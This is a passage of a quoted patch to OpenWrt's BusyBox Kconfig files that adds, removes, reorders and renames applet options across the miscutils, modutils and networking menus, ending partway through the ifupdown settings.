>   	bool "lock"
>   	default BUSYBOX_DEFAULT_LOCK
>   	help
>   	  Small utility for using locks in scripts
> -
>   config BUSYBOX_CONFIG_MAKEDEVS
>   	bool "makedevs"
>   	default BUSYBOX_DEFAULT_MAKEDEVS
> @@ -664,25 +545,21 @@ config BUSYBOX_CONFIG_FEATURE_MAKEDEVS_TABLE
>   	bool "table"
>   
>   endchoice
> -
>   config BUSYBOX_CONFIG_MAN
>   	bool "man"
>   	default BUSYBOX_DEFAULT_MAN
>   	help
>   	  Format and display manual pages.
> -
>   config BUSYBOX_CONFIG_MICROCOM
>   	bool "microcom"
>   	default BUSYBOX_DEFAULT_MICROCOM
>   	help
>   	  The poor man's minicom utility for chatting with serial port devices.
> -
>   config BUSYBOX_CONFIG_MOUNTPOINT
>   	bool "mountpoint"
>   	default BUSYBOX_DEFAULT_MOUNTPOINT
>   	help
>   	  mountpoint checks if the directory is a mountpoint.
> -
>   config BUSYBOX_CONFIG_MT
>   	bool "mt"
>   	default BUSYBOX_DEFAULT_MT
> @@ -690,7 +567,19 @@ config BUSYBOX_CONFIG_MT
>   	  mt is used to control tape devices. You can use the mt utility
>   	  to advance or rewind a tape past a specified number of archive
>   	  files on the tape.
> +config BUSYBOX_CONFIG_NANDWRITE
> +	bool "nandwrite"
> +	default BUSYBOX_DEFAULT_NANDWRITE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Write to the specified MTD device, with bad blocks awareness
>   
> +config BUSYBOX_CONFIG_NANDDUMP
> +	bool "nanddump"
> +	default BUSYBOX_DEFAULT_NANDDUMP
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Dump the content of raw NAND chip
>   config BUSYBOX_CONFIG_RAIDAUTORUN
>   	bool "raidautorun"
>   	default BUSYBOX_DEFAULT_RAIDAUTORUN
> @@ -698,7 +587,6 @@ config BUSYBOX_CONFIG_RAIDAUTORUN
>   	help
>   	  raidautorun tells the kernel md driver to
>   	  search and start RAID arrays.
> -
>   config BUSYBOX_CONFIG_READAHEAD
>   	bool "readahead"
>   	default BUSYBOX_DEFAULT_READAHEAD
> @@ -716,6 +604,17 @@ config BUSYBOX_CONFIG_READAHEAD
>   
>   	  As readahead(2) blocks until each file has been read, it is best to
>   	  run this applet as a background job.
> +config BUSYBOX_CONFIG_RFKILL
> +	bool "rfkill"
> +	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Enable/disable wireless devices.
> +
> +	  rfkill list : list all wireless devices
> +	  rfkill list bluetooth : list all bluetooth devices
> +	  rfkill list 1 : list device corresponding to the given index
> +	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
>   
>   config BUSYBOX_CONFIG_RUNLEVEL
>   	bool "runlevel"
> @@ -726,27 +625,44 @@ config BUSYBOX_CONFIG_RUNLEVEL
>   
>   	  This applet uses utmp but does not rely on busybox supporing
>   	  utmp on purpose. It is used by e.g. emdebian via /etc/init.d/rc.
> -
>   config BUSYBOX_CONFIG_RX
>   	bool "rx"
>   	default BUSYBOX_DEFAULT_RX
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Receive files using the Xmodem protocol.
> -
> +config BUSYBOX_CONFIG_SETSERIAL
> +	bool "setserial"
> +	default BUSYBOX_DEFAULT_SETSERIAL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Retrieve or set Linux serial port.
>   config BUSYBOX_CONFIG_SETSID
>   	bool "setsid"
>   	default BUSYBOX_DEFAULT_SETSID
>   	help
>   	  setsid runs a program in a new session
> -
>   config BUSYBOX_CONFIG_STRINGS
>   	bool "strings"
>   	default BUSYBOX_DEFAULT_STRINGS
>   	help
>   	  strings prints the printable character sequences for each file
>   	  specified.
> +config BUSYBOX_CONFIG_TASKSET
> +	bool "taskset"
> +	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
> +	help
> +	  Retrieve or set a processes's CPU affinity.
> +	  This requires sched_{g,s}etaffinity support in your libc.
>   
> +config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
> +	bool "Fancy output"
> +	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> +	depends on BUSYBOX_CONFIG_TASKSET
> +	help
> +	  Add code for fancy output. This merely silences a compiler-warning
> +	  and adds about 135 Bytes. May be needed for machines with alot
> +	  of CPUs.
>   config BUSYBOX_CONFIG_TIME
>   	bool "time"
>   	default BUSYBOX_DEFAULT_TIME
> @@ -754,14 +670,12 @@ config BUSYBOX_CONFIG_TIME
>   	  The time command runs the specified program with the given arguments.
>   	  When the command finishes, time writes a message to standard output
>   	  giving timing statistics about this program run.
> -
>   config BUSYBOX_CONFIG_TIMEOUT
>   	bool "timeout"
>   	default BUSYBOX_DEFAULT_TIMEOUT
>   	help
>   	  Runs a program and watches it. If it does not terminate in
>   	  specified number of seconds, it is sent a signal.
> -
>   config BUSYBOX_CONFIG_TTYSIZE
>   	bool "ttysize"
>   	default BUSYBOX_DEFAULT_TTYSIZE
> @@ -770,13 +684,64 @@ config BUSYBOX_CONFIG_TTYSIZE
>   	  only height, or both, in any order. It also does not complain on
>   	  error, but returns default 80x24.
>   	  Usage in shell scripts: width=`ttysize w`.
> +config BUSYBOX_CONFIG_UBIATTACH
> +	bool "ubiattach"
> +	default BUSYBOX_DEFAULT_UBIATTACH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Attach MTD device to an UBI device.
> +
> +config BUSYBOX_CONFIG_UBIDETACH
> +	bool "ubidetach"
> +	default BUSYBOX_DEFAULT_UBIDETACH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Detach MTD device from an UBI device.
> +
> +config BUSYBOX_CONFIG_UBIMKVOL
> +	bool "ubimkvol"
> +	default BUSYBOX_DEFAULT_UBIMKVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Create a UBI volume.
> +
> +config BUSYBOX_CONFIG_UBIRMVOL
> +	bool "ubirmvol"
> +	default BUSYBOX_DEFAULT_UBIRMVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Delete a UBI volume.
> +
> +config BUSYBOX_CONFIG_UBIRSVOL
> +	bool "ubirsvol"
> +	default BUSYBOX_DEFAULT_UBIRSVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Resize a UBI volume.
>   
> +config BUSYBOX_CONFIG_UBIUPDATEVOL
> +	bool "ubiupdatevol"
> +	default BUSYBOX_DEFAULT_UBIUPDATEVOL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Update a UBI volume.
> +config BUSYBOX_CONFIG_UBIRENAME
> +	bool "ubirename"
> +	default BUSYBOX_DEFAULT_UBIRENAME
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to rename UBI volumes
>   config BUSYBOX_CONFIG_VOLNAME
>   	bool "volname"
>   	default BUSYBOX_DEFAULT_VOLNAME
>   	help
>   	  Prints a CD-ROM volume name.
> -
> +config BUSYBOX_CONFIG_WALL
> +	bool "wall"
> +	default BUSYBOX_DEFAULT_WALL
> +	depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +	help
> +	  Write a message to all users that are logged in.
>   config BUSYBOX_CONFIG_WATCHDOG
>   	bool "watchdog"
>   	default BUSYBOX_DEFAULT_WATCHDOG
> diff --git a/package/utils/busybox/config/modutils/Config.in b/package/utils/busybox/config/modutils/Config.in
> index 8e0e2af..5203db8 100644
> --- a/package/utils/busybox/config/modutils/Config.in
> +++ b/package/utils/busybox/config/modutils/Config.in
> @@ -6,13 +6,6 @@
>   
>   menu "Linux Module Utilities"
>   
> -config BUSYBOX_CONFIG_MODINFO
> -	bool "modinfo"
> -	default BUSYBOX_DEFAULT_MODINFO
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Show information about a Linux Kernel module
> -
>   config BUSYBOX_CONFIG_MODPROBE_SMALL
>   	bool "Simplified modutils"
>   	default BUSYBOX_DEFAULT_MODPROBE_SMALL
> @@ -44,41 +37,23 @@ config BUSYBOX_CONFIG_MODPROBE_SMALL
>   	  - rmmod is an alias to modprobe -r
>   	  - depmod generates modules.dep.bb
>   
> -config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> -	bool "Accept module options on modprobe command line"
> -	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> -	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +config BUSYBOX_CONFIG_DEPMOD
> +	bool "depmod"
> +	default BUSYBOX_DEFAULT_DEPMOD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  Allow insmod and modprobe take module options from command line.
> -
> -config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> -	bool "Skip loading of already loaded modules"
> -	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> -	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> -	help
> -	  Check if the module is already loaded.
> -
> +	  depmod generates modules.dep (and potentially modules.alias
> +	  and modules.symbols) that contain dependency information
> +	  for modprobe.
>   config BUSYBOX_CONFIG_INSMOD
>   	bool "insmod"
>   	default BUSYBOX_DEFAULT_INSMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  insmod is used to load specified modules in the running kernel.
> -
> -config BUSYBOX_CONFIG_RMMOD
> -	bool "rmmod"
> -	default BUSYBOX_DEFAULT_RMMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  rmmod is used to unload specified modules from the kernel.
> -
>   config BUSYBOX_CONFIG_LSMOD
>   	bool "lsmod"
>   	default BUSYBOX_DEFAULT_LSMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  lsmod is used to display a list of loaded modules.
> @@ -86,17 +61,35 @@ config BUSYBOX_CONFIG_LSMOD
>   config BUSYBOX_CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
>   	bool "Pretty output"
>   	default BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
> -	depends on BUSYBOX_CONFIG_LSMOD
> +	depends on BUSYBOX_CONFIG_LSMOD && !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This option makes output format of lsmod adjusted to
>   	  the format of module-init-tools for Linux kernel 2.6.
>   	  Increases size somewhat.
> +config BUSYBOX_CONFIG_MODINFO
> +	bool "modinfo"
> +	default BUSYBOX_DEFAULT_MODINFO
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Show information about a Linux Kernel module
> +config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +	bool "Accept module options on modprobe command line"
> +	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Allow insmod and modprobe take module options from command line.
>   
> +config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +	bool "Skip loading of already loaded modules"
> +	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
> +	help
> +	  Check if the module is already loaded.
>   config BUSYBOX_CONFIG_MODPROBE
>   	bool "modprobe"
>   	default BUSYBOX_DEFAULT_MODPROBE
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Handle the loading of modules, and their dependencies on a high
> @@ -105,7 +98,7 @@ config BUSYBOX_CONFIG_MODPROBE
>   config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
>   	bool "Blacklist support"
>   	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
> -	depends on BUSYBOX_CONFIG_MODPROBE
> +	depends on BUSYBOX_CONFIG_MODPROBE && !BUSYBOX_CONFIG_MODPROBE_SMALL
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Say 'y' here to enable support for the 'blacklist' command in
> @@ -113,16 +106,12 @@ config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
>   	  blacklisted modules. This is useful if you want to prevent your
>   	  hardware autodetection scripts to load modules like evdev, frame
>   	  buffer drivers etc.
> -
> -config BUSYBOX_CONFIG_DEPMOD
> -	bool "depmod"
> -	default BUSYBOX_DEFAULT_DEPMOD
> -	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
> +config BUSYBOX_CONFIG_RMMOD
> +	bool "rmmod"
> +	default BUSYBOX_DEFAULT_RMMOD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  depmod generates modules.dep (and potentially modules.alias
> -	  and modules.symbols) that contain dependency information
> -	  for modprobe.
> +	  rmmod is used to unload specified modules from the kernel.
>   
>   comment "Options common to multiple modutils"
>   
> diff --git a/package/utils/busybox/config/networking/Config.in b/package/utils/busybox/config/networking/Config.in
> index 407ddd3..bc2f127 100644
> --- a/package/utils/busybox/config/networking/Config.in
> +++ b/package/utils/busybox/config/networking/Config.in
> @@ -6,183 +6,6 @@
>   
>   menu "Networking Utilities"
>   
> -config BUSYBOX_CONFIG_NAMEIF
> -	bool "nameif"
> -	default BUSYBOX_DEFAULT_NAMEIF
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  nameif is used to rename network interface by its MAC address.
> -	  Renamed interfaces MUST be in the down state.
> -	  It is possible to use a file (default: /etc/mactab)
> -	  with list of new interface names and MACs.
> -	  Maximum interface name length: IFNAMSIZ = 16
> -	  File fields are separated by space or tab.
> -	  File format:
> -	  # Comment
> -	  new_interface_name    XX:XX:XX:XX:XX:XX
> -
> -config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
> -	bool "Extended nameif"
> -	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> -	depends on BUSYBOX_CONFIG_NAMEIF
> -	help
> -	  This extends the nameif syntax to support the bus_info, driver,
> -	  phyaddr selectors. The syntax is compatible to the normal nameif.
> -	  File format:
> -	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
> -	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
> -	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
> -	    new_interface_name  mac=00:80:C8:38:91:B5
> -	    new_interface_name  00:80:C8:38:91:B5
> -config BUSYBOX_CONFIG_NBDCLIENT
> -	bool "nbd-client"
> -	default BUSYBOX_DEFAULT_NBDCLIENT
> -	help
> -	  Network block device client
> -config BUSYBOX_CONFIG_NC
> -	bool "nc"
> -	default BUSYBOX_DEFAULT_NC
> -	help
> -	  A simple Unix utility which reads and writes data across network
> -	  connections.
> -
> -config BUSYBOX_CONFIG_NC_SERVER
> -	bool "Netcat server options (-l)"
> -	default BUSYBOX_DEFAULT_NC_SERVER
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  Allow netcat to act as a server.
> -
> -config BUSYBOX_CONFIG_NC_EXTRA
> -	bool "Netcat extensions (-eiw and -f FILE)"
> -	default BUSYBOX_DEFAULT_NC_EXTRA
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  Add -e (support for executing the rest of the command line after
> -	  making or receiving a successful connection), -i (delay interval for
> -	  lines sent), -w (timeout for initial connection).
> -
> -config BUSYBOX_CONFIG_NC_110_COMPAT
> -	bool "Netcat 1.10 compatibility (+2.5k)"
> -	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
> -	depends on BUSYBOX_CONFIG_NC
> -	help
> -	  This option makes nc closely follow original nc-1.10.
> -	  The code is about 2.5k bigger. It enables
> -	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
> -	  busybox-specific extensions: -f FILE.
> -config BUSYBOX_CONFIG_PING
> -	bool "ping"
> -	default BUSYBOX_DEFAULT_PING
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
> -	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
> -
> -config BUSYBOX_CONFIG_PING6
> -	bool "ping6"
> -	default BUSYBOX_DEFAULT_PING6
> -	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_PING
> -	help
> -	  This will give you a ping that can talk IPv6.
> -
> -config BUSYBOX_CONFIG_FEATURE_FANCY_PING
> -	bool "Enable fancy ping output"
> -	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> -	depends on BUSYBOX_CONFIG_PING
> -	help
> -	  Make the output from the ping applet include statistics, and at the
> -	  same time provide full support for ICMP packets.
> -config BUSYBOX_CONFIG_WGET
> -	bool "wget"
> -	default BUSYBOX_DEFAULT_WGET
> -	help
> -	  wget is a utility for non-interactive download of files from HTTP
> -	  and FTP servers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
> -	bool "Enable a nifty process meter (+2k)"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Enable the transfer progress bar for wget transfers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
> -	bool "Enable HTTP authentication"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Support authenticated HTTP transfers.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the wget applet.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
> -	bool "Enable timeout option -T SEC"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Supports network read and connect timeouts for wget,
> -	  so that wget will give up and timeout, through the -T
> -	  command line option.
> -
> -	  Currently only connect and network data read timeout are
> -	  supported (i.e., timeout is not applied to the DNS query). When
> -	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
> -	  will work in addition to -T.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
> -	bool "Try to connect to HTTPS using openssl"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Choose how wget establishes SSL connection for https:// URLs.
> -
> -	  Busybox itself contains no SSL code. wget will spawn
> -	  a helper program to talk over HTTPS.
> -
> -	  OpenSSL has a simple SSL client for debug purposes.
> -	  If you select "openssl" helper, wget will effectively call
> -	  "openssl s_client -quiet -connect IP:443 2>/dev/null"
> -	  and pipe its data through it.
> -	  Note inconvenient API: host resolution is done twice,
> -	  and there is no guarantee openssl's idea of IPv6 address
> -	  format is the same as ours.
> -	  Another problem is that s_client prints debug information
> -	  to stderr, and it needs to be suppressed. This means
> -	  all error messages get suppressed too.
> -	  openssl is also a big binary, often dynamically linked
> -	  against ~15 libraries.
> -
> -config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
> -	bool "Try to connect to HTTPS using ssl_helper"
> -	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> -	depends on BUSYBOX_CONFIG_WGET
> -	help
> -	  Choose how wget establishes SSL connection for https:// URLs.
> -
> -	  Busybox itself contains no SSL code. wget will spawn
> -	  a helper program to talk over HTTPS.
> -
> -	  ssl_helper is a tool which can be built statically
> -	  from busybox sources against a small embedded SSL library.
> -	  Please see networking/ssl_helper/README.
> -	  It does not require double host resolution and emits
> -	  error messages to stderr.
> -
> -	  Precompiled static binary may be available at
> -	  http://busybox.net/downloads/binaries/
> -config BUSYBOX_CONFIG_WHOIS
> -	bool "whois"
> -	default BUSYBOX_DEFAULT_WHOIS
> -	help
> -	  whois is a client for the whois directory service
> -
>   config BUSYBOX_CONFIG_FEATURE_IPV6
>   	bool "Enable IPv6 support"
>   	default BUSYBOX_DEFAULT_FEATURE_IPV6
> @@ -230,7 +53,6 @@ config BUSYBOX_CONFIG_ARP
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Manipulate the system ARP cache.
> -
>   config BUSYBOX_CONFIG_ARPING
>   	bool "arping"
>   	default BUSYBOX_DEFAULT_ARPING
> @@ -264,37 +86,26 @@ config BUSYBOX_CONFIG_FEATURE_BRCTL_SHOW
>   	help
>   	  Add support for option which prints the current config:
>   	    show
> -
>   config BUSYBOX_CONFIG_DNSD
>   	bool "dnsd"
>   	default BUSYBOX_DEFAULT_DNSD
>   	help
>   	  Small and static DNS server daemon.
> -
>   config BUSYBOX_CONFIG_ETHER_WAKE
>   	bool "ether-wake"
>   	default BUSYBOX_DEFAULT_ETHER_WAKE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Send a magic packet to wake up sleeping machines.
> -
> -config BUSYBOX_CONFIG_FAKEIDENTD
> -	bool "fakeidentd"
> -	default BUSYBOX_DEFAULT_FAKEIDENTD
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  fakeidentd listens on the ident port and returns a predefined
> -	  fake value on any query.
> -
>   config BUSYBOX_CONFIG_FTPD
>   	bool "ftpd"
>   	default BUSYBOX_DEFAULT_FTPD
>   	help
>   	  simple FTP daemon. You have to run it via inetd.
>   
> -config BUSYBOX_CONFIG_FEATURE_FTP_WRITE
> +config BUSYBOX_CONFIG_FEATURE_FTPD_WRITE
>   	bool "Enable upload commands"
> -	default BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
> +	default BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
>   	depends on BUSYBOX_CONFIG_FTPD
>   	help
>   	  Enable all kinds of FTP upload commands (-w option)
> @@ -310,13 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST
>   	  it increases the code size by ~40 bytes.
>   	  Most other ftp servers seem to behave similar to this.
>   
> -config BUSYBOX_CONFIG_FEATURE_FTP_AUTHENTICATION
> +config BUSYBOX_CONFIG_FEATURE_FTPD_AUTHENTICATION
>   	bool "Enable authentication"
> -	default BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
> +	default BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
>   	depends on BUSYBOX_CONFIG_FTPD
>   	help
>   	  Enable basic system login as seen in telnet etc.
> -
>   config BUSYBOX_CONFIG_FTPGET
>   	bool "ftpget"
>   	default BUSYBOX_DEFAULT_FTPGET
> @@ -335,13 +145,17 @@ config BUSYBOX_CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_LONG_OPTS && (BUSYBOX_CONFIG_FTPGET || BUSYBOX_CONFIG_FTPPUT)
>   	help
>   	  Support long options for the ftpget/ftpput applet.
> -
>   config BUSYBOX_CONFIG_HOSTNAME
>   	bool "hostname"
>   	default BUSYBOX_DEFAULT_HOSTNAME
>   	help
>   	  Show or set the system's host name.
>   
> +config BUSYBOX_CONFIG_DNSDOMAINNAME
> +	bool "dnsdomainname"
> +	default BUSYBOX_DEFAULT_DNSDOMAINNAME
> +	help
> +	  Alias to "hostname -d".
>   config BUSYBOX_CONFIG_HTTPD
>   	bool "httpd"
>   	default BUSYBOX_DEFAULT_HTTPD
> @@ -460,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_HTTPD_GZIP
>   	help
>   	  Makes httpd send files using GZIP content encoding if the
>   	  client supports it and a pre-compressed <file>.gz exists.
> -
>   config BUSYBOX_CONFIG_IFCONFIG
>   	bool "ifconfig"
>   	default BUSYBOX_DEFAULT_IFCONFIG
> @@ -508,7 +321,6 @@ config BUSYBOX_CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS
>   	help
>   	  Setting this will make ifconfig attempt to find the broadcast
>   	  automatically if the value '+' is used.
> -
>   config BUSYBOX_CONFIG_IFENSLAVE
>   	bool "ifenslave"
>   	default BUSYBOX_DEFAULT_IFENSLAVE
> @@ -516,20 +328,18 @@ config BUSYBOX_CONFIG_IFENSLAVE
>   	help
>   	  Userspace application to bind several interfaces
>   	  to a logical interface (use with kernel bonding driver).
> -
>   config BUSYBOX_CONFIG_IFPLUGD
>   	bool "ifplugd"
>   	default BUSYBOX_DEFAULT_IFPLUGD
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Network interface plug detection daemon.
> -
> -config BUSYBOX_CONFIG_IFUPDOWN
> -	bool "ifupdown"
> -	default BUSYBOX_DEFAULT_IFUPDOWN
> +config BUSYBOX_CONFIG_IFUP
> +	bool "ifup"
> +	default BUSYBOX_DEFAULT_IFUP
>   	help
> -	  Activate or deactivate the specified interfaces. This applet makes
> -	  use of either "ifconfig" and "route" or the "ip" command to actually
> +	  Activate the specified interfaces. This applet makes use
> +	  of either "ifconfig" and "route" or the "ip" command to actually
>   	  configure network interfaces. Therefore, you will probably also want
>   	  to enable either IFCONFIG and ROUTE, or enable
>   	  FEATURE_IFUPDOWN_IP and the various IP options. Of
> @@ -540,10 +350,16 @@ config BUSYBOX_CONFIG_IFUPDOWN
>   	  "ifconfig", "route" and "run-parts" or the "ip" command, either
>   	  via busybox or via standalone utilities.
>   
> +config BUSYBOX_CONFIG_IFDOWN
> +	bool "ifdown"
> +	default BUSYBOX_DEFAULT_IFDOWN
> +	help
> +	  Deactivate the specified interfaces.
> +
>   config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
>   	string "Absolute path to ifstate file"
>   	default BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  ifupdown keeps state information in a file called ifstate.
>   	  Typically it is located in /var/run/ifstate, however
> @@ -552,69 +368,39 @@ config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
>   	  This config option defines location of ifstate.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	bool "Use ip applet"
> +	bool "Use ip tool (else ifconfig/route is used)"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  Use the iproute "ip" command to implement "ifup" and "ifdown", rather
> -	  than the default of using the older 'ifconfig' and 'route' utilities.
> -
> -config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN
> -	bool "Use busybox ip applet"
> -	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
> -	depends on BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	select BUSYBOX_CONFIG_IP
> -	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> -	select BUSYBOX_CONFIG_FEATURE_IP_LINK
> -	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> -	help
> -	  Use the busybox iproute "ip" applet to implement "ifupdown".
> +	  than the default of using the older "ifconfig" and "route" utilities.
>   
> -	  If left disabled, you must install the full-blown iproute2
> -	  utility or the  "ifup" and "ifdown" applets will not work.
> -
> -config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> -	bool "Use busybox ifconfig and route applets"
> -	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && !BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
> -	select BUSYBOX_CONFIG_IFCONFIG
> -	select BUSYBOX_CONFIG_ROUTE
> -	help
> -	  Use the busybox iproute "ifconfig" and "route" applets to
> -	  implement the "ifup" and "ifdown" utilities.
> +	  If Y: you must install either the full-blown iproute2 package
> +	  or enable "ip" applet in Busybox, or the "ifup" and "ifdown" applets
> +	  will not work.
>   
> -	  If left disabled, you must install the full-blown ifconfig
> -	  and route utilities, or the  "ifup" and "ifdown" applets will not
> -	  work.
> +	  If N: you must install either the full-blown ifconfig and route
> +	  utilities, or enable these applets in Busybox.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV4
>   	bool "Support for IPv4"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  If you want ifup/ifdown to talk IPv4, leave this on.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV6
>   	bool "Support for IPv6"
